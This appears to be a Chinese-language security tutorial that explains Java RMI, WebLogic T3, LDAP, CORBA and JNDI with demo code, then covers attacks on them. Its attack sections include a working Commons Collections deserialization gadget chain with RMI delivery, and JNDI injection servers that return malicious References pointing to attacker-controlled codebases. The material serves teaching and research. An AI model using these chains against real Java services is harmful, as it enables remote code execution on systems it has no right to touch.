RMI、LDAP、CORBA与JNDI攻击

1. RMI

1.1 JAVA RMI

1.1.1 基本概念

RMI(Remote Method Invocation,远程方法调用)。远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。
RMI可以使我们引用远程主机上的对象,将JAVA对象作为参数传递,而这些对象要可以被序列化。就像C语言中有RPC(remote procedure calls )使远程主机上执行C函数并返回结果。可以被远程调用的对象必须实现java.rmi.Remote接口,其实现类必须继承UnicastRemoteObject类。如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法

import java.rmi.*;

public interface RemoteObject extends Remote { 
    public Widget doSomething( ) throws RemoteException; 
    public Widget doSomethingElse( ) throws RemoteException; 
}

不继承UnicastRemoteObject类的DEMO

public class HelloImpl implements IHello {//IHello是客户端和服务端公用接口
    protected HelloImpl() throws RemoteException {
        UnicastRemoteObject.exportObject(this, 0);
    }
    @Override
    public String sayHello(String name) {//HelloImpl是一个服务端远程对象,提供了一个sayHello方法供远程调用。
        System.out.println(name);
        return name;
    }
}

1.1.2 RMI远程调用过程

RMI对于远程对象是将其Stub(类似引用/代理,包含远程对象的定位信息,如Socket端口、服务端主机地址等)传递。客户端可以像调用本地方法一样通过Stub调用远程方法。


RMI远程调用逻辑

客户端发起请求,请求转交至RMI客户端的stub类,stub类将请求的接口、方法、参数等信息进行序列化,然后基于tcp/ip将序列化后的流传输至服务器端,转至skeleton类,该类将请求的信息反序列化后调用实际的类进行处理,然后再将处理结果返回给skeleton类,skeleton类将结果序列化,通过tcp/ip将流传送给客户端的stub,stub接收到流后将其反序列化,再将反序列化后的Java Object返回给调用者。

(1)Stub获取方式
Stub的获取方式有很多,常见的方法是调用某个远程服务上的方法,向远程服务获取存根。但是调用远程方法又必须先有远程对象的Stub,所以这里有个死循环问题。JDK提供了一个RMI注册表(RMIRegistry)来解决这个问题。RMIRegistry也是一个远程对象,默认监听在1099端口上,可以使用代码启动RMIRegistry,也可以使用rmiregistry命令。要注册远程对象,需要RMI URL和一个远程对象的引用。

IHello rhello = new HelloImpl();
LocateRegistry.createRegistry(1099);//人工创建RMI注册服务
Naming.bind("rmi://0.0.0.0:1099/hello", rhello);

LocateRegistry.getRegistry()会使用给定的主机和端口等信息本地创建一个Stub对象作为Registry远程对象的代理,从而启动整个远程调用逻辑。服务端应用程序可以向RMI注册表中注册远程对象,然后客户端向RMI注册表查询某个远程对象名称,来获取该远程对象的Stub。
(2)远程调用逻辑

Registry registry = LocateRegistry.getRegistry("kingx_kali_host",1099);
IHello rhello = (IHello) registry.lookup("hello");
rhello.sayHello("test");
RMI调用流程

(3)动态加载类
RMI核心特点之一就是动态加载类,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,java.rmi.server.codebase属性值表示一个或多个URL位置,可以从中下载本地找不到的类,相当于一个代码库。动态加载的对象class文件可以使用Web服务的方式(如http://、ftp://、file://)进行托管。客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。

无论是客户端还是服务端要远程加载类,都需要满足以下条件:
a.由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置java.security.policy,这在后面的利用中可以看到。
b.属性 java.rmi.server.useCodebaseOnly 的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

(4)JAVA RMI Demo

//接口
public interface Hello extends Remote {
    public String echo(String message) throws RemoteException;
}
//接口类实现
public class HelloImpl implements Hello {
    @Override
    public String echo(String message) throws RemoteException {
        if ("quit".equalsIgnoreCase(message.toString())) {
            System.out.println("Server will be shutdown!");
            System.exit(0);
        }
        System.out.println("Message from client: " + message);
        return "Server response:" + message;
    }
}
//server端
public class Server {
    public static void main(String[] args) throws Exception {
        String name = "hello";
        Hello hello = new HelloImpl();
        // 生成Stub
        UnicastRemoteObject.exportObject(hello, 1199);
        /*
        设置java.rmi.server.codebase
        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
        如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
        System.setProperty("java.security.policy", Server.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);
         */
        // 创建本机 1099 端口上的RMI registry
        Registry registry = LocateRegistry.createRegistry(1199);
        //如果registry已存在
        Registry reg = LocateRegistry.getRegistry();
        // 对象绑定到注册表中
        registry.rebind(name, hello);
    }
}
//client端
public class Client {
    public static void main(String[] args) throws Exception {
        // 获取远程主机上的注册表
        Registry registry = LocateRegistry.getRegistry("localhost", 1199);
        String name = "hello";
        // 获取远程对象
        Hello hello = (Hello) registry.lookup(name);
        while (true) {
            Scanner sc = new Scanner(System.in);
            String message = sc.next();
            // 调用远程方法
            hello.echo(message);
            if (message.equals("quit")) {
                break;
            }
        }
    }
}

1.2 JAVA RMI与Weblogic RMI

RMI是基于JRMP协议的,而Weblogic RMI是基于T3协议(也有基于CORBA的IIOP协议)。WebLogic RMI是WebLogic对Java RMI的实现,它们之间的不同在于(1)WebLogic的字节码生成功能会自动生成服务端的字节码到内存。不再生成Skeleton骨架对象,也不需要使用UnicastRemoteObject对象(2)在WebLogic RMI 客户端中,字节码生成功能会自动为客户端生成代理对象,因此Stub也不再需要。
T3传输协议是WebLogic的自有协议,它有如下特点:(1)服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。(2)通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

1.2.1 Weblogic RMI Demo

和RMI类似,先创建服务端对象接口和实现类

public interface IHello extends java.rmi.Remote {
    String sayHello() throws RemoteException;
}
public class HelloImpl implements IHello {
    public String sayHello() {
        return "Hello Remote World!!";
    }
}

上文提到,服务端不再需要Skeleton对象和UnicastRemoteObject对象,服务端代码如黄框所示。


server端对比

客户端中也不再需要stub


client端对比

1.2.2 Weblogic T3 协议

RMI的Client与Service交互采用JRMP协议,而Weblogic RMI采用T3协议

T3协议数据包

WebLogic RMI调用时T3协议握手后的数据包,包含不止一个序列化魔术头(0xac 0xed 0x00 0x05),每个序列化数据包前面都有相同的二进制串(0xfe 0x01 0x00 0x00),每个数据包上面都包含了一个T3协议头,前4个字节正好对应着数据包长度

1.3 RMI反序列化漏洞

RMI使用反序列化机制来传输Remote对象,那么如果是个恶意的对象,在服务器端进行反序列化时便会触发反序列化漏洞。如果此时服务端存在Apache Commons Collections这种库,就会导致远程命令执行。即Runtime.getRuntime().exec(“calc”)等语句。
该库中含有一个接口类叫做Tranesformer,其实现类有ChainedTransformer、ConstantTransformer、InvokerTransformer、CloneTransformer、ClosureTransformer、ExceptionTransformer、FactoryTransformer、InstantiateTransformer、MapTransformer、NOPTransformer、PredicateTransformer、StringValueTransformer、SwitchTransformer。前三个可以在反序列化攻击中进行利用,其本身功能及关键代码如下

//InvokerTransformer构造函数接受三个参数,并通过反射执行一个对象的任意方法
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    public Object transform(Object input) {
         Class cls = input.getClass();
         Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
         return method.invoke(input, this.iArgs);
    }
//ConstantTransformer构造函数接受一个参数,并返回传入的参数
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;
    }
//ChainedTransformer构造函数接受一个Transformer类型的数组,并返回传入数组的每一个成员的Transformer方法
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }

将上述函数组合起来构造远程命令执行链

Transformer[] transformers_exec = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform('1');

那么接下来的问题就是,真实环境中如何触发ChainedTransformer.transform,有两个类调用了transform方法,LazyMap和TransformedMap。TransformedMap中的调用流程为setValue ==> checkSetValue ==> valueTransformer.transform(value),所以如果用TransformedMap调用transform方法,需要生成一个TransformedMap然后修改Map中的value值即可触发,上述执行链添加如下部分

Transformer chainedTransformer = new ChainedTransformer(transformers_exec);
Map inMap = new HashMap();
inMap.put("key", "value");
Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//生成
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

如果用LazyMap调用transform方法,调用流程为get==>factory.transform(key),但是这些也还是需要手动调用去修改值。要自动触发需要执行readObject()方法,所用的类为AnnotationInvocationHandler,该类是JAVA运行库中的一个类,这个类有一个成员变量memberValues是Map类型,并且类中的readObject()函数中对memberValues的每一项调用了setValue()函数,完整代码如下

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map inMap = new HashMap();//创建一个含有Payload的恶意map
        inMap.put("key", "value");
        Map outMap = TransformedMap.decorate(inMap, null, chainedTransformer);//创建一个含有恶意调用链的Transformer类的Map对象

        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//获取AnnotationInvocationHandler类对象
        Constructor ctor = cls.getDeclaredConstructor(new Class[] { Class.class, Map.class });//获取AnnotationInvocationHandler类的构造方法
        ctor.setAccessible(true); // 设置构造方法的访问权限
        Object instance = ctor.newInstance(new Object[] { Retention.class, outMap });

        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(instance);
        oos.flush();
        oos.close();

        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // 触发代码执行
        Object newObj = ois.readObject();
        ois.close();

在RMI中利用,即在反序列化基础上,加入如下代码

        InvocationHandler h = (InvocationHandler) instance;// 实例化AnnotationInvocationHandler
        Remote r = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[]{Remote.class},
                h));
        try{
            Registry registry = LocateRegistry.getRegistry(port);
            registry.rebind("hello", r); // r is remote obj
        }
        catch (Throwable e) {
            e.printStackTrace();
        }

另外对于RMI服务攻击,可以使用URLClassLoader方法回显。
Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");

2. LDAP

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息(如企业员工信息:姓名、电话、邮箱等,公用证书、安全密钥、物理设备信息等),能进行查询、浏览和搜索,以树状结构组织数据。LDAP以树结构标识所以不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

2.1 LDAP基本概念

条目Entry
条目也叫记录项,就像数据库中的记录。是LDAP增删改查的基本对象。
dn(distinguished Name,唯一标识名),每个条目都有一个唯一标识名。可以看作对象的全路径,RDN则是其中的一段路径(靠前的一段),剩余路径则成为父标识(PDN)。
属性Attribute
每个条目都有很多属性(Attribute),每个属性都有名称及对应的值。属性包含cn(commonName姓名)、sn(surname姓)、ou(organizationalUnitName部门名称)、o(organization公司名称)等。每个属性也都有唯一的属性类型。
对象类ObjectClass
对象类(ObjectClass)是属性的集合,包含结构类型(Structural)、抽象类型(Abstract)和辅助类型(Auxiliary)等。比如单位职工类可能包含姓sn、名cn、电话telephoneNumber等。模式(Schema)则是对象类的集合。

LDAP目录结构

2.2 LDAP攻击

    
    com.unboundid
    unboundid-ldapsdk
    2.3.8
    
public class LDAPSeriServer {

      private static final String LDAP_BASE = "dc=example,dc=com";
      public static void main(String[] args) throws IOException {
          int port = 1389;
          try {
              InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
              config.setListenerConfigs(new InMemoryListenerConfig(
                      "listen", //$NON-NLS-1$
                      InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                      port,
                      ServerSocketFactory.getDefault(),
                      SocketFactory.getDefault(),
                      (SSLSocketFactory) SSLSocketFactory.getDefault()));
              config.setSchema(null);
              config.setEnforceAttributeSyntaxCompliance(false);
              config.setEnforceSingleStructuralObjectClass(false);
              InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
              ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
              ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
              ds.add("dn: " + "uid=longofo,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

              System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
              ds.startListening();

          } catch (Exception e) {
              e.printStackTrace();
          }
      }
  }
  public class LDAPClient1 {
      public static void main(String[] args) throws NamingException {
          System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
          Context ctx = new InitialContext();
          Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=longofo,ou=employees,dc=example,dc=com");
      }
  }

3. CORBA

3.1 CORBA概述

CORBA全称(Common ObjectRequest Broker Architecture)也就是公共对象请求代理体系结构,是OMG(对象管理组织,一个非盈利性的计算机行业标准协会)制定的一种标准的面向对象应用程序体系规范。其提出是为了解决不同应用程序间的通信,曾是分布式计算的主流技术。
CORBA标准主要分为三个部分,IDL(接口语言)、ORB(对象请求代理)、IIOP(ORB之间的操作协议)。
其结构主要分为三部分:naming service、client side、servant side。它们的关系可以理解成目录(naming service)与章节内容(servant side)的关系,内容需要现在目录里进行注册。
CORBA和Java都采用面向对象技术,并且都适用于开发分布式应用,所不同的是:CORBA偏重于通用的分布式应用开发,而Java注重于WWW环境中的分布式应用开发。

3.2 基础概念

IDL(Interface Definition Language,接口定义语言),它是一种与编程语言无关的对于接口描述的规范,实现跨语言跨环境远程对象调用。CORBA用的就是基于IDL的OMG IDL(对象管理标准化接口定义语言)

CORBA中的“ORB”(ObjectRequest Broker,对象请求代理)是一个中间件/代理,建立起服务端与客户端的关系调用。对象可以在本地也可以在其他服务器上,ORB截获客户的调用操作,并查找实现服务的对象,传递参数,调用方法并返回结果。

GIOP(General Inter-ORB Protocol ,通用对象请求协议),是CORBA用来进行数据传输的协议,针对不同的通讯层有不同的实现。而对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol),也可以说IIOP是通过TCP协议传输的GIOP数据。

3.3 Demo

3.3.1 过程分析

naming service
ORBD可以理解为ORB的守护进程,其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用。

CORBA流程

IOR
IOR是一种数据结构,提供关于类型、协议支持和可用ORB服务的信息。它通常提供获取对象的初始引用的方法,可以是命名服务(naming service)、事务服务(transaction services),也可以是定制的CORBA服务。

IOR结构

Stub生成
Stub有很多种生成方式,如:
(1)获取NameServer然后后通过resolve_str()方法生成(NameServer生成方式)

Properties properties = new Properties();
properties.put("org.omg.CORBA.ORBInitialHost", "127.0.0.1");
properties.put("org.omg.CORBA.ORBInitialPort", "1050");
ORB orb = ORB.init(args, properties);
org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
String name = "Hello";
helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

(2)使用ORB.string_to_object生成(ORB生成方式)

//第一种
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
//第二种
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));

(3)使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));

3.3.2 Helloworld Demo

如果要开发一个CORBA的Helloworld,创建一个helloworld.idl

//helloworld.idl
module helloworld{ //module对应了java中的package
   interface HelloWorld{
      string sayHello();
   };
};

在java命令行下执行idlj -fall helloworld.idl将IDL语言翻译成JAVA语言,生成server和client端代码,然后会生成_HelloWorldStub.java(实现了HelloWorld接口)、HelloWorld.java(未实现接口)、HelloWorldHelper.java(包含帮助函数,用于处理通过网络传输的对象)、HelloWorldHolder.java、HelloWorldOperations.java(IDL声明的接口)、HelloWorldPOA.java(server的实现接口)。POA(Portable Object Adapter),是CORBA规范的一部分,该类中的方法可以将对象注册到naming service上。

public class HelloServer {
    public static void main(String[] args) throws ServantNotActive, WrongPolicy, InvalidName, AdapterInactive, org.omg.CosNaming.NamingContextPackage.InvalidName, NotFound, CannotProceed {
        //指定ORB的端口号 -ORBInitialPort 1050
        args = new String[2];
        args[0] = "-ORBInitialPort";
        args[1] = "1050";
         
        //创建一个ORB实例
        ORB orb = ORB.init(args, null);
         
        //拿到RootPOA的引用,并激活POAManager,相当于启动了server
        org.omg.CORBA.Object obj=orb.resolve_initial_references("RootPOA");
        POA rootpoa = POAHelper.narrow(obj);
        rootpoa.the_POAManager().activate();
         
        //创建一个HelloWorldImpl实例
        HelloWorldImpl helloImpl = new HelloWorldImpl();
        
        //从服务中得到对象的引用,并注册到服务中
        org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);
        HelloWorld href = HelloWorldHelper.narrow(ref);
         
        //得到一个根名称的上下文
        org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");
        NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
        
        //在命名上下文中绑定这个对象
        String name = "Hello";
        NameComponent path[] = ncRef.to_name(name);
        ncRef.rebind(path, href);
        
        //启动线程服务,等待客户端调用
        orb.run();
        
        System.out.println("server startup...");
    }
public class HelloClient {
    static HelloWorld helloWorldImpl;
     
    static {
        //初始化ip和端口号,-ORBInitialHost 127.0.0.1 -ORBInitialPort 1050
        String args[] = new String[4];
        args[0] = "-ORBInitialHost";
        //server端的IP地址,在HelloServer中定义的
        args[1] = "127.0.0.1";
        args[2] = "-ORBInitialPort";
        //server端的端口,在HelloServer中定义的
        args[3] = "1050";
         
        //创建一个ORB实例
        ORB orb = ORB.init(args, null);
         
        // 获取根名称上下文
        org.omg.CORBA.Object objRef = null;
        try {
        objRef = orb.resolve_initial_references("NameService");
        } catch (InvalidName e) {
            e.printStackTrace();
        }
        NamingContextExt neRef = NamingContextExtHelper.narrow(objRef);
         
        String name = "Hello";
        try {
            //通过ORB拿到了server实例化好的实现类
            helloWorldImpl = HelloWorldHelper.narrow(neRef.resolve_str(name));
        } catch (NotFound e) {
            e.printStackTrace();
        } catch (CannotProceed e) {
            e.printStackTrace();
        } catch (org.omg.CosNaming.NamingContextPackage.InvalidName e) {
            e.printStackTrace();
        }
    }
     
    public static void main(String args[]) throws Exception {
        sayHello();
    }
     
    //调用实现类的方法
    public static void sayHello() {
        String str = helloWorldImpl.sayHello();
        System.out.println(str);
    }

4. JNDI

4.1 JNDI基本概念

JNDI(Java Naming and DIrecroty Interface),是java命名与目录接口,JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。

//web.xml

//index.jsp
  <%
      Context ctx=new InitialContext();
      String testjndi=(String) ctx.lookup("java:comp/env/jndiName");
      out.print(testjndi);
  %>

Naming Service:命名服务是将名称与值相关联的实体,称为绑定。通过find/search操作根据名称查找对象。上述的RMI Registry就是使用的Naming Service。
Directory Service:是一种特殊的Naming Service,允许存储和搜索“目录对象”,目录对象可以与属性相关联。一个目录是一个类似树的分层结构库。LDAP就是用的Directory Service。

4.2 RMI与JNDI

JNDI提供了与不同类型的服务交互的公共接口。但其自身不区分客户端和服务端,也不具备远程能力。JNDI在客户端上主要进行访问、查询和检索等,在服务端主要进行配置管理等,比如在RMI服务端上不直接使用Registry进行bind而使用JNDI统一管理。
JNDI架构如下图,Naming Manager包含用于创建上下文对象和对象的静态方法。服务器提供者接口(SPI)允许JNDI管理不同的服务。


JNDI Architecture
JNDI Remote Class Loading

JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")

//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());
//通过名称查找对象
ctx.lookup("refObj");

在JNDI服务中,RMI服务端除了直接绑定远程对象之外(JAVA序列化传输对象到远程服务器),还可以通过命名引用的方式通过绑定,由命名管理器进行解析的一个引用。引用由References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);

4.3 JNDI动态协议转换

JNDI除了与RMI搭配使用,还可以与LDAP、CORBA等,JNDI与LDAP配合使用方式如下:

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
 "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

DirContext ctx = new InitialDirContext(env);
//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");

这是手动设置服务工厂及PROVIDER_URL的方式,JNDI还提供协议的动态转换,即使我们不设置上述内容,如果ctx.lookup("rmi://attacker-server/refObj");执行便自动转换对应服务。

Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
        "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
        "rmi://localhost:9999");
Context ctx = new InitialContext(env);
String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通过名称查找对象
ctx.lookup(name);

此处的lookup中的参数如果可控就可以根据攻击者提供的URL进行动态转换。

4.4 JDNI注入

JNDI注入是BlackHat 2016(USA)@pentester 的一个议题"A Journey From JNDI LDAP Manipulation To RCE"提出的。

根据上述demo可以发现JNDI注入流程是(以RMI为例),如果目标代码中调用了InitialContext.lookup(URI),且URI为用户可控->攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name->攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类->目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;->攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果。调用链为:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()

JNDI主要的攻击向量有:RMI、JNDI Reference、Remote Object、LDAP、Serialized Object、JNDI Reference、Remote Location、CORBA、IOR


JNDI in action

(1)JNDI Reference+RMI

public class RMIServer1 {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(9999);
//        Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名
        Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}
public class RMIClient1 {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
        Properties env = new Properties();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                 "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://localhost:9999");
        Context ctx = new InitialContext();
        ctx.lookup("rmi://localhost:9999/refObj");
    }
}

当运行lookup函数时,RegistryContext.decodeObject() 会被调用,然后调用NamingManager.getObjectInstance() 进行实例化,最终返回Reference,然后getObjectFactoryFromReference() 会从Reference中得到实例化的类。攻击者可以提供自己的工厂类,一旦实例化就会运行payload。

整个攻击过程为:攻击者为JNDI lookup提供了一个绝对的RMI URL,然后服务器连接到攻击者控制的RMI注册表,该注册表将返回恶意的JNDI引用,服务器解码JNDI引用后从攻击者控制的服务器获取工厂类,进行实例化的时候payload执行。所以此攻击方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等调用InitialContext.lookup()的情况。

(2)JNDI+LDAP
Naming Manager在JAVA对象(JAVA序列化、JNDI references等)解析运行时可能造成RCE,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要区别是,对于前者,攻击者就可以使用自己的LDAP服务器,对于后者,攻击者需要攻击LDAP服务器条目,与应用程序交互时等待期返回被攻击条目的属性。

攻击过程为:攻击者为JND lookup提供了一个绝对LDAP URL,服务器连接到攻击者控制的LDAP服务器,该服务器返回恶意的JNDI引用。服务器解码JNDI引用从攻击者控制的服务器获取工厂类,实例化工厂类时payload得以执行。

LDAP Entry Poisoning
LDAP攻击主要针对于属性而非对象,例如,用lookup方法查找对象时,search()方法是在检索LDAP条目的所需属性(例如:用户名、密码、电子邮件等),当只请求属性时,就不会有可能危及服务器的Java对象解码。然而,如果应用程序执行搜索操作,并将returnObjFlag设置为true,那么控制LDAP响应的攻击者将能够在应用服务器上执行任意命令。

(3)JNDI+CORBA
org.omg.CORBA.Object read_Object会对IOR进行解析

public org.omg.CORBA.Object read_Object(Class clz)  {
        // In any case, we must first read the IOR.     
    IOR ior = IORFactories.makeIOR(parent);     
    if (ior.isNil())      return null;
    PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();
    String codeBase = ior.getProfile().getCodebase();   <1>            
    PresentationManager.StubFactory stubFactory = null; 
    if (clz == null) {          
        RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId());   <2>        
        String className = rid.getClassName();          
        boolean isIDLInterface = rid.isIDLType();

         if (className == null || className.equals( "" ))  stubFactory = null;          
        else                
            try {  <3>
                stubFactory = sff.createStubFactory(className,  isIDLInterface, codeBase, (Class)null, (ClassLoader)null);  
            } 
            catch (Exception exc) {                
                stubFactory = null;
            }
        else if (StubAdapter.isStubClass( clz )) {
            stubFactory = PresentationDefaults.makeStaticStubFactory(clz);      
        } else {           
              // clz is an interface class
              boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ; 
          stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ;     
        }   
    return internalIORToObject( ior, stubFactory, orb ) ;   
}

攻击者可以手工创建一个IOR,该IOR指定在他控制下的代码库位置<1>和IDL接口<2>,即存根工厂的位置。然后,它可以将运行有效负载的存根工厂类放在其构造函数中,并在目标服务器<3>中实例化存根,从而成功地运行payload

攻击过程:攻击者为JNDI lookup提供了一个绝对的IIOP URL。服务器连接到攻击者控制的ORB,该ORB将返回恶意IOR,然后服务器解码IOR从攻击者控制的服务器获取存根工厂类。进行实例化的同时payload执行。

参考资料

RMI
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
https://paper.seebug.org/1012/
https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms/tree/master/ldap/src/main/java/com/longofo
https://paper.seebug.org/1091/#java-rmi
JNDI
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
CORBA
https://paper.seebug.org/1124/#212-client-side

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